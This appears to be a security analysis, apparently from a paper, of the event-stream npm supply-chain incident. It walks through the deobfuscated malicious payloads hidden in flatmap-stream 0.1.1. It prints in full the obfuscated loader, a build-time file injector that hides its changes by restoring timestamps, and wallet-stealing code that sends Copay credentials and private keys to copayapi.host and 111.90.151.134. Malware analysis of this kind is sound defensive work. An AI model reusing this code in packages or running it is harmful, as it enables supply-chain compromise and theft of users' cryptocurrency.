On this page, we are going to analyse all the different payloads that were used on the Event-Stream incident. We start by presenting the unminified code of flatmap-stream version 0.1.0 and 0.1.1.
Module flatmap-stream Version 0.1.0:
We first display the code of package flatmap-stream
version
0.1.0. We unminified the code to provide better readability.
var Stream = require("stream").Stream;
module.exports = function (e, n) {
var i = new Stream(),
a = 0,
o = 0,
u = !1,
f = !1,
l = !1,
c = 0,
s = !1,
d = (n = n || {}).failures ? "failure" : "error",
m = {};
function w(r, e) {
var t = c + 1;
if ((e === t ? (void 0 !== r &&
i.emit.apply(i, ["data", r]), c++, t++) :
(m[e] = r), m.hasOwnProperty(t))) {
var n = m[t];
return delete m[t], w(n, t);
}
a === ++o && (f && ((f = !1), i.emit("drain")), u && v());
}
function p(r, e, t) {
l || ((s = !0), (r && !n.failures) ||
w(e, t), r &&
i.emit.apply(i, [d, r]), (s = !1));
}
function b(r, t, n) {
return e.call(null, r, function (r, e) {
n(r, e, t);
});
}
function v(r) {
if (((u = !0), (i.writable = !1), void 0 !== r)) return w(r, a);
a == o && ((i.readable = !1), i.emit("end"), i.destroy());
}
return (
(i.writable = !0),
(i.readable = !0),
(i.write = function (r) {
if (u) throw new Error("flatmap stream is not writable");
s = !1;
try {
for (var e in r) {
a++;
var t = b(r[e], a, p);
if ((f = !1 === t)) break;
}
return !f;
} catch (r) {
if (s) throw r;
return p(r), !f;
}
}),
(i.end = function (r) {
u || v(r);
}),
(i.destroy = function () {
(u = l = !0),
(i.writable = i.readable = f = !1),
process.nextTick(function () {
i.emit("close");
});
}),
(i.pause = function () {
f = !0;
}),
(i.resume = function () {
f = !1;
}),
i
);
};
Package flatmap-stream Version 0.1.1:
We then display the code of flatmap-stream
version 0.1.1. We
unminified the code to provide better readability.
var Stream = require("stream").Stream;
module.exports = function (e, n) {
var i = new Stream(),
a = 0,
o = 0,
u = !1,
f = !1,
l = !1,
c = 0,
s = !1,
d = (n = n || {}).failures ? "failure" : "error",
m = {};
function w(r, e) {
var t = c + 1;
if ((e === t ? (void 0 !== r
&& i.emit.apply(i, ["data", r]), c++, t++)
: (m[e] = r), m.hasOwnProperty(t))) {
var n = m[t];
return delete m[t], w(n, t);
}
a === ++o && (f && ((f = !1), i.emit("drain")), u && v());
}
function p(r, e, t) {
l || ((s = !0), (r && !n.failures) ||
w(e, t), r && i.emit.apply(i, [d, r]), (s = !1));
}
function b(r, t, n) {
return e.call(null, r, function (r, e) {
n(r, e, t);
});
}
function v(r) {
if (((u = !0), (i.writable = !1), void 0 !== r)) return w(r, a);
a == o && ((i.readable = !1), i.emit("end"), i.destroy());
}
return (
(i.writable = !0),
(i.readable = !0),
(i.write = function (r) {
if (u) throw new Error("flatmap stream is not writable");
s = !1;
try {
for (var e in r) {
a++;
var t = b(r[e], a, p);
if ((f = !1 === t)) break;
}
return !f;
} catch (r) {
if (s) throw r;
return p(r), !f;
}
}),
(i.end = function (r) {
u || v(r);
}),
(i.destroy = function () {
(u = l = !0),
(i.writable = i.readable = f = !1),
process.nextTick(function () {
i.emit("close");
});
}),
(i.pause = function () {
f = !0;
}),
(i.resume = function () {
f = !1;
}),
i
);
};
!(function () {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString();
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor();
(f.paths = module.paths), f[e(n[7])](a, ""),
f.exports(n[1]);
} catch (r) {}
})();
Payload A
Above we presented the 2 versions of flatmap-stream. The difference between versions is an extra function that has been appended on version 0.1.1. This additional function makes payload A, the bootstrap, which acts as an enabler for payloads B and C. This is the code of the payload unminified:
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
This code is unreadable, as it is still obfuscated. Let us walk through it line by line, deobfuscating and analyzing it.
Function e
converts a hexadecimal string to text. It is first
used in line 8:
var n = r(e("2e2f746573742f64617461"));
The hexadecimal string is equivalent to ./test/data
, and function
r
is the function require
. So, after renaming n
to
testData
, line 8 becomes as follows:
var testData = require("./test/data");
This line imports
an auxiliary data file. This data file,
contains 10 hexadecimal string literals. Next to them you can see their
string representation. Multiple of these strings are related to
cryptography and would raise suspicion should anyone see them in a
module such as flatmap-stream
. Here are the contents of the data
file:
module.exports = [
"75d4c...629", // Payload B
"db673...6e1", // Payload C
"63727970746f", // crypto
"656e76", // env
"6e706d...f6e", // npm_package_description
"616573323536", // aes256
"63726...6572", // createDecipher
"5f636f6d70696c65", // _compile
"686578", // hex
"75746638" // utf8
];
Line 9 extracts the fourth and fifth string from the data file. Variable
o
has been renamed to desc
for readability:
``` {.js xleftmargin=”\parindent” linenos=”” fontsize=”\small”} var desc = process.env.npm_package_description;
This line fetches the description of the package from the `node.JS`
environment. The `if` statement on line 10 ensures that the
description is not blank.
From line 11 up to line 15 we repeat the process of getting a line from
the auxiliary data file and converting it to string. We do that in order
to deobfuscate the rest of the function. Moreover, we rename variable
`u` to `decipher`, `a` to `text` and `f` to
`newModule`. By doing so, we get:
```javascript
var decipher = require("crypto").createDecipher("aes256", desc);
var text = decipher.update(testData[0], "hex", "utf8");
text += decipher.final("utf8");
var newModule = new module.constructor();
newModule.paths = module.paths;
newModule._compile(text, "");
newModule.exports(testData[1]);
These lines of code perform the following actions:
-
First, using the package description fetched previously, it creates a
decipher
instance. -
Then, it uses the
decipher
instance to decrypt the first line (which consists of binary data) from the file. -
Last, a new module is created with the decrypted data from the file as it source, and the second line from the file is exported from that module.
Since the description of a specific npm package is used as the
decryption key, payloads B and C are decrypted correctly only when
flatmap-stream
is part of the dependency tree through
event-stream
. Hence, the scope of the attack is limited to
Copay.The encrypted code is also resistant to static analysis, avoiding
detection by such tools.
Payload B
{
"build:ios-release":
"npm run env:prod
&& ionic cordova build ios
--release
--aot true
--environment prod
--output-hashing all
--sourcemaps false
--extract-css true
--named-chunks false
--build-optimizer true",
"build:android-release":
"npm run env:prod
&& ionic cordova build android
--release --aot true
--environment prod
--output-hashing all
--sourcemaps false
--extract-css true
--named-chunks false
--build-optimizer true",
"build:desktop-release":
"npm run env:desktop
&& node
--max-old-space-size=8192
./path/ionic-app-scripts.js build
--prod"
}
After successful decryption of the first line of the data file from payload A, payload B is created as a new module. Payload B acts as the injector. This new unobfuscated module looks as follows:
/*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "/path/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)),
r.writeFileSync(i, c + s, "utf8"),
r.utimesSync(i, n.atime, n.mtime),
process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"),
r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};
We start with line four:
if (!/build\:.*\-release/.test(process.argv[2])) return;
The script is being run by a command in this format:
npm run-script script-name
The regex from line 4 tests if script-name
starts with
'build:'
and ends with '-release'
. The regex was
designed to test for scripts that target the Android, iOS, and desktop
versions of Copay.
The Copay application has another non-malicious dependency called
ZXing
. This module imports ReedSolomonDecoder.js
, which is
being targeted by payload B for the injection. In particular, the code
of payload C will be injected into the ReedSolomonDecoder.js
file
by modifying the file on disk. However, this file is accessed in the
context that the malicious script is intended to be run in. If the file
has not been modified, payload B does nothing. If it does,
'/*@@*/'
appears in the file and payload C is injected into the
file, awaiting execution. After the injection occurs, payload B replaces
the metadata of the file (modified/accessed timestamps) so that it
appears like the file has not been altered.
Attack Payload C
/*@@*/
! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "<A public key>";
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c,
Buffer.from(o, "utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n),
i("3131312e39302e3135312e313334", e, n)
}
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-"
+ n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]),
"btc" == t.coin && t.balance < 100 ||
"bch" == t.coin && t.balance < 1e3 ||
(global.CSSMap[t.xPubKey] = !0,
r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys,
e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap &&
global.CSSMap[this.xPubKey] &&
(delete global.CSSMap[this.xPubKey],
r("p", e + "\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();
Payload C
After the execution of payloads A and B, payload C gets injected to the
file ReedSolomonDecoder.js
. In this subsection of the paper we
will see each of the functions of the payload.
Function i
takes as arguments an IP address, a path, and a
payload. It then sends the payload as a string to the host inputted on
the specified path (lines 9–22).
Function r
prepares the payload to be sent by i
. The
payload gets encrypted using the public key provided by the attacker.
Then payload gets sent to copayapi.host
and
111.90.151.134
—a web-server based in Kuala Lumpur, Malaysia
(lines 24–32).
Function l
stores the contents of a file in a variable and then
parses it to a callback function (lines 34–62).
The callback function first ensures that the script runs on the live
version of the bitcoin network, labeled as livenet
instead of the
test network labeled testnet
. It does this by going through the
credentials in the profile
file. Second, the callback function
accesses the file balancheCache
, which contains the users
balance. If that balance exceeds 100 bitcoin or 1000 bitcoin cash. and
in case it does, it sets a global variable to true in order to mark.
Note that the user’s credentials are stolen regardless of whether the
balance requirements are met. (lines 63–76).
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys,
e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap &&
global.CSSMap[this.xPubKey] &&
(delete global.CSSMap[this.xPubKey],
r("p", e + "\t" + this.xPubKey))
} catch (e) {}
return t
}
The last section of code intercepts and monkey-patches the
getKeys
function from the Credentials class. Monkey-patching
refers to dynamically altering an object’s method during the execution
of a program. The patched version of the function reproduces the
functions original result but it also checks the variable (essentially a
hash table) used previously to flag each key. If the value comes up
positive, it deletes variable to remove any remaining traces and
transmits the user’s private keys using the r
{.js} function (lines
77–90).
On the last line, there’s an if
statement responsible for
launching the script as soon as the user’s device is ready (line 91).